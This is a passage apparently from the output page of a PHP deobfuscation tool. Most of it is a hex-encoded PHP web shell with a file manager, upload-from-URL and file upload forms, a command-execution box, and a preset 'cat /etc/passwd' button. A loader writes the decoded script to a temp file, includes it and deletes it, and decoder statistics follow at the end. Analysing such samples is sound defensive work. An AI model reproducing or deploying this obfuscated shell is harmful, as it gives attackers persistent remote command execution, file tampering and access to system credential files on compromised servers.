\x72\x3A\x20\x23\x64\x63\x33\x35\x34\x35\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x66\x66\x66\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x6F\x72\x64\x65\x72\x3A\x20\x6E\x6F\x6E\x65\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x6F\x72\x64\x65\x72\x2D\x72\x61\x64\x69\x75\x73\x3A\x20\x34\x70\x78\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x70\x61\x64\x64\x69\x6E\x67\x3A\x20\x38\x70\x78\x20\x31\x36\x70\x78\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74\x65\x78\x74\x2D\x64\x65\x63\x6F\x72\x61\x74\x69\x6F\x6E\x3A\x20\x6E\x6F\x6E\x65\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x63\x75\x72\x73\x6F\x72\x3A\x20\x70\x6F\x69\x6E\x74\x65\x72\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6D\x61\x72\x67\x69\x6E\x2D\x72\x69\x67\x68\x74\x3A\x20\x31\x30\x70\x78\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x64\x69\x73\x70\x6C\x61\x79\x3A\x20\x69\x6E\x6C\x69\x6E\x65\x2D\x62\x6C\x6F\x63\x6B\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74\x65\x78\x74\x2D\x61\x6C\x69\x67\x6E\x3A\x20\x63\x65\x6E\x74\x65\x72\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x2E\x62\x75\x74\x74\x6F\x6E\x32\x3A\x68\x6F\x76\x65\x72\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x63\x38\x32\x33\x33\x33\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6F\x6F\x74\x65\x72\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74\x65\x78\x74\x2D\x61\x6C\x69\x67\x6E\x3A\x20\x63\x65\x6E\x74\x65\x72\x3B\x20\x2F\x2A\x20\x54\x65\x6B\x73\x20\x62\x65\x72\x61\x64\x61\x20\x64\x69\x20\x74\x65\x6E\x67\x61\x68\x20\x2A\x2F\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x3C\x2F\x73\x74\x79\x6C\x65\x3E\x0A\x3C\x2F\x68\x65\x61\x64\x3E\x0A\x3C\x62\x6F\x64\x79\x3E\x0A\x20\x20\x20\x20\x3C\x21\x2D\x2D\x20\x4B\x6F\x6E\x74\x65\x6E\x20\x62\x6F\x64\x79\x20\x2D\x2D\x3E\x0A\x20\x20\x20\x20\x3C\x64\x69\x76\x20\x63\x6C\x61\x73\x73\x3D\x22\x63\x6F\x6E\x74\x61\x69\x6E\x65\x72\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x68\x31\x3E\x3C\x3F\x70\x68\x70\x20\x65\x63\x68\x6F\x20\x24\x68\x6F\x73\x74\x20\x2E\x20\x22\x20\x2D\x20\x22\x20\x2E\x20\x24\x61\x64\x64\x69\x74\x69\x6F\x6E\x61\x6C\x5F\x74\x69\x74\x6C\x65\x3B\x20\x3F\x3E\x3C\x2F\x68\x31\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x0A\x3C\x3F\x70\x68\x70\x0A\x0A\x3F\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x3F\x70\x68\x70\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x67\x65\x6E\x65\x72\x61\x74\x65\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x4C\x69\x6E\x6B\x73\x28\x24\x64\x69\x72\x29\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x2F\x66\x6F\x6E\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x5B\x3C\x61\x20\x68\x72\x65\x66\x3D\x27\x3F\x27\x3E\x20\x48\x6F\x6D\x65\x20\x3C\x2F\x61\x3E\x5D\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x62\x72\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x64\x69\x76\x20\x73\x74\x79\x6C\x65\x3D\x27\x74\x65\x78\x74\x2D\x61\x6C\x69\x67\x6E\x3A\x20\x72\x69\x67\x68\x74\x3B\x27\x3E\x3C\x61\x20\x68\x72\x65\x66\x3D\x27\x3F\x64\x69\x72\x3D\x24\x64\x69\x72\x26\x77\x69\x62\x75\x3D\x63\x72\x65\x61\x74\x65\x66\x69\x6C\x65\x27\x20\x63\x6C\x61\x73\x73\x3D\x27\x62\x75\x74\x74\x6F\x6E\x31\x27\x3E\x43\x72\x65\x61\x74\x65\x20\x46\x69\x6C\x65\x3C\x2F\x61\x3E\x3C\x2F\x64\x69\x76\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x27\x3C\x66\x6F\x72\x6D\x20\x6D\x65\x74\x68\x6F\x64\x3D\x22\x70\x6F\x73\x74\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x75\x72\x6C\x22\x20\x70\x6C\x61\x63\x65\x68\x6F\x6C\x64\x65\x72\x3D\x22\x45\x6E\x74\x65\x72\x20\x55\x52\x4C\x2E\x2E\x2E\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x73\x75\x62\x6D\x69\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x75\x70\x6C\x6F\x61\x64\x75\x72\x6C\x22\x20\x76\x61\x6C\x75\x65\x3D\x22\x55\x70\x6C\x6F\x61\x64\x20\x66\x72\x6F\x6D\x20\x55\x52\x4C\x22\x3E\x0A\x20\x20\x20\x20\x3C\x2F\x66\x6F\x72\x6D\x3E\x27\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x27\x20\x3C\x66\x6F\x72\x6D\x20\x65\x6E\x63\x74\x79\x70\x65\x3D\x22\x6D\x75\x6C\x74\x69\x70\x61\x72\x74\x2F\x66\x6F\x72\x6D\x2D\x64\x61\x74\x61\x22\x20\x6D\x65\x74\x68\x6F\x64\x3D\x22\x70\x6F\x73\x74\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x66\x69\x6C\x65\x22\x20\x6E\x61\x6D\x65\x3D\x22\x75\x70\x66\x69\x6C\x65\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x73\x75\x62\x6D\x69\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x75\x70\x22\x20\x76\x61\x6C\x75\x65\x3D\x22\x55\x70\x6C\x6F\x61\x64\x65\x64\x20\x21\x20\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x2F\x66\x6F\x72\x6D\x3E\x27\x3B\x0A\x0A\x20\x20\x20\x20\x69\x66\x28\x69\x73\x73\x65\x74\x28\x24\x5F\x50\x4F\x53\x54\x5B\x27\x75\x70\x27\x5D\x29\x29\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x75\x70\x6C\x6F\x61\x64\x66\x69\x6C\x65\x20\x3D\x20\x24\x5F\x46\x49\x4C\x45\x53\x5B\x27\x75\x70\x66\x69\x6C\x65\x27\x5D\x5B\x27\x6E\x61\x6D\x65\x27\x5D\x3B\x0A\x20\x20\x20\x20\x69\x66\x28\x6D\x6F\x76\x65\x5F\x75\x70\x6C\x6F\x61\x64\x65\x64\x5F\x66\x69\x6C\x65\x0A\x20\x20\x20\x20\x28\x24\x5F\x46\x49\x4C\x45\x53\x5B\x27\x75\x70\x66\x69\x6C\x65\x27\x5D\x5B\x27\x74\x6D\x70\x5F\x6E\x61\x6D\x65\x27\x5D\x2C\x24\x64\x69\x72\x2E\x27\x2F\x27\x2E\x24\x5F\x46\x49\x4C\x45\x53\x5B\x27\x75\x70\x66\x69\x6C\x65\x27\x5D\x5B\x27\x6E\x61\x6D\x65\x27\x5D\x29\x29\x7B\x0A\x20\x20\x20\x20\x65\x63\x68\x6F\x22\x3C\x62\x72\x3E\x46\x69\x6C\x65\x20\x77\x61\x73\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x6C\x79\x20\x75\x70\x6C\x6F\x61\x64\x65\x64\x20\x21\x20\x22\x3B\x0A\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x65\x6C\x73\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x62\x72\x3E\x55\x70\x6C\x6F\x61\x64\x20\x66\x61\x69\x6C\x65\x64\x20\x21\x20\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x20\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x0A\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x74\x61\x62\x6C\x65\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x72\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x68\x3E\x4E\x61\x6D\x61\x20\x46\x69\x6C\x65\x20\x2F\x20\x46\x6F\x6C\x64\x65\x72\x3C\x2F\x74\x68\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x68\x3E\x53\x69\x7A\x65\x3C\x2F\x74\x68\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x68\x3E\x70\x65\x72\x6D\x69\x73\x73\x69\x6F\x6E\x3C\x2F\x74\x68\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x68\x3E\x41\x63\x74\x69\x6F\x6E\x3C\x2F\x74\x68\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x2F\x74\x72\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x73\x68\x6F\x77\x46\x69\x6C\x65\x73\x28\x24\x64\x69\x72\x29\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x2F\x74\x61\x62\x6C\x65\x3E\x22\x3B\x0A\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28\x24\x5F\x47\x45\x54\x5B\x27\x77\x69\x62\x75\x27\x5D\x29\x20\x26\x26\x20\x24\x5F\x47\x45\x54\x5B\x27\x77\x69\x62\x75\x27\x5D\x20\x3D\x3D\x20\x27\x63\x72\x65\x61\x74\x65\x66\x69\x6C\x65\x27\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x63\x72\x65\x61\x74\x65\x46\x69\x6C\x65\x46\x6F\x72\x6D\x28\x24\x64\x69\x72\x29\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x63\x72\x65\x61\x74\x65\x46\x6F\x6C\x64\x65\x72\x28\x24\x64\x69\x72\x29\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x63\x72\x65\x61\x74\x65\x46\x69\x6C\x65\x28\x24\x64\x69\x72\x29\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x64\x65\x6C\x65\x74\x65\x46\x69\x6C\x65\x28\x24\x64\x69\x72\x29\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x72\x65\x6E\x61\x6D\x65\x46\x69\x6C\x65\x28\x24\x64\x69\x72\x29\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x64\x69\x74\x46\x69\x6C\x65\x28\x24\x64\x69\x72\x29\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x63\x72\x65\x61\x74\x65\x46\x6F\x6C\x64\x65\x72\x46\x6F\x72\x6D\x28\x24\x64\x69\x72\x29\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3F\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x62\x72\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x63\x65\x6E\x74\x65\x72\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x68\x31\x3E\x45\x78\x65\x63\x75\x74\x69\x6F\x6E\x3C\x2F\x68\x31\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x6F\x72\x6D\x20\x6D\x65\x74\x68\x6F\x64\x3D\x22\x47\x45\x54\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x63\x6D\x64\x22\x20\x70\x6C\x61\x63\x65\x68\x6F\x6C\x64\x65\x72\x3D\x22\x45\x6E\x74\x65\x72\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x2E\x2E\x2E\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x62\x75\x74\x74\x6F\x6E\x20\x74\x79\x70\x65\x3D\x22\x73\x75\x62\x6D\x69\x74\x22\x3E\x3E\x3C\x2F\x62\x75\x74\x74\x6F\x6E\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x2F\x66\x6F\x72\x6D\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x3F\x70\x68\x70\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28\x24\x5F\x47\x45\x54\x5B\x27\x63\x6D\x64\x27\x5D\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x24\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x3D\x20\x24\x5F\x47\x45\x54\x5B\x27\x63\x6D\x64\x27\x5D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x75\x6E\x53\x68\x65\x6C\x6C\x43\x6F\x6D\x6D\x61\x6E\x64\x28\x24\x63\x6F\x6D\x6D\x61\x6E\x64\x29\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3F\x3E\x20\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x64\x69\x76\x20\x73\x74\x79\x6C\x65\x3D\x27\x74\x65\x78\x74\x2D\x61\x6C\x69\x67\x6E\x3A\x20\x72\x69\x67\x68\x74\x3B\x27\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x6F\x72\x6D\x20\x6D\x65\x74\x68\x6F\x64\x3D\x22\x47\x45\x54\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x65\x74\x63\x22\x20\x76\x61\x6C\x75\x65\x3D\x22\x63\x61\x74\x20\x2F\x65\x74\x63\x2F\x70\x61\x73\x73\x77\x64\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x62\x75\x74\x74\x6F\x6E\x20\x74\x79\x70\x65\x3D\x22\x73\x75\x62\x6D\x69\x74\x22\x3E\x3E\x3C\x2F\x62\x75\x74\x74\x6F\x6E\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x2F\x66\x6F\x72\x6D\x3E\x0A\x20\x20\x20\x20\x3C\x2F\x64\x69\x76\x3E\x0A\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x3F\x70\x68\x70\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28\x24\x5F\x47\x45\x54\x5B\x27\x65\x74\x63\x27\x5D\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x24\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x3D\x20\x24\x5F\x47\x45\x54\x5B\x27\x65\x74\x63\x27\x5D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x75\x6E\x53\x68\x65\x6C\x6C\x43\x6F\x6D\x6D\x61\x6E\x64\x28\x24\x63\x6F\x6D\x6D\x61\x6E\x64\x29\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3F\x3E\x0A\x20\x20\x20\x20\x3C\x66\x6F\x6F\x74\x65\x72\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x70\x3E\x26\x63\x6F\x70\x79\x3B\x20\x32\x30\x32\x34\x20\x2D\x20\x4C\x75\x74\x66\x69\x66\x61\x6B\x65\x65\x37\x36\x38\x3C\x2F\x70\x3E\x0A\x3C\x2F\x66\x6F\x6F\x74\x65\x72\x3E\x0A\x20\x20\x20\x20\x3C\x2F\x64\x69\x76\x3E\x0A\x3C\x2F\x62\x6F\x64\x79\x3E\x0A\x3C\x2F\x68\x74\x6D\x6C\x3E\x0A";
$temp_file = tempnam(sys_get_temp_dir(), 'script_');
file_put_contents($temp_file, $script);
include $temp_file;
unlink($temp_file);

Function Calls

sys_get_temp_dir 1

Variables

$script <?php session_start(); $stored_hashed_password = '$2a$12$mGO..

Stats

MD5 7ed79a67878168810d2101966328f906
Eval Count 0
Decode Time 82 ms